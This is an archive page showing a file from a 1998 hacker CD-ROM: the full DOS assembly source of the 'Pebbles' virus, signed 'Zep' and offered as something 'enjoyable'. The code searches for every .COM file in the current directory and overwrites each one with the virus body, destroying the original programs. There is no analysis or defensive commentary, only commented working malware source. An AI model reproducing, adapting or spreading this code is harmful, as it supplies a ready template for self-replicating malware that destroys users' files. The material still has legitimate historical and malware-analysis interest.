home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / pebbles.asm / text0000.txt < prev   
Encoding:
Text File  |  2003-06-11  |  1.7 KB  |  56 lines

  1. I
  2. ;    Here's is another that I think that you will find enjoyable ! 
  3.  
  4. ;            P E B B L E S     V I R U S !
  5. ;                -Zep-
  6.  
  7. DOSSEG
  8. MODEL tiny
  9. CODESEG
  10.                 org     100h
  11.  
  12. vir_len         = finish-start
  13.  
  14. start           equ     $
  15.  
  16. Begin:
  17.                 mov     ah,4eh                  ; Findfirst...
  18.                 mov     cx,00100111b
  19.                 mov     dx,offset filespec      ; dx <- "*.COM"
  20. loop1:
  21.                 int     21h                     
  22.                 jc      done                    ; No more files?  Better 
  23. stop.
  24.                 call    inf                     ; Infect file...
  25.                 mov     ah,4fh                  ; Findnext..
  26.                 jmp     short loop1             ; Over and over till 
  27. there
  28.                                                 ; ain't no more..
  29. done:
  30.                 int     20h                     ; Though bad it's 
  31. shorter
  32.                                                 ; than mov ah,4c int 
  33. 21h...
  34.  
  35. proc            inf
  36.                 mov     ax,3d02h                ; Open de file...
  37.                 mov     dx,9eh                  ; dx <- DTA filename
  38.                 int     21h                     
  39.                 mov     ah,40h                  ; Write..
  40.                 mov     cx,offset vir_len       ; Length of virus to 
  41. write.
  42.                 mov     dx,offset start         ; dx <- beg. of virus
  43.                 int     21h
  44.                 mov     ah,3eh                  ; Close up file.
  45.                 int     21h
  46.                 ret                             ; Get back...
  47. endp            inf
  48.  
  49. filespec        db      "*.COM",0               ; Filespec to infect.
  50.  
  51. finish          equ     $
  52.                 end     Begin
  53.  
  54.  
  55.  
  56.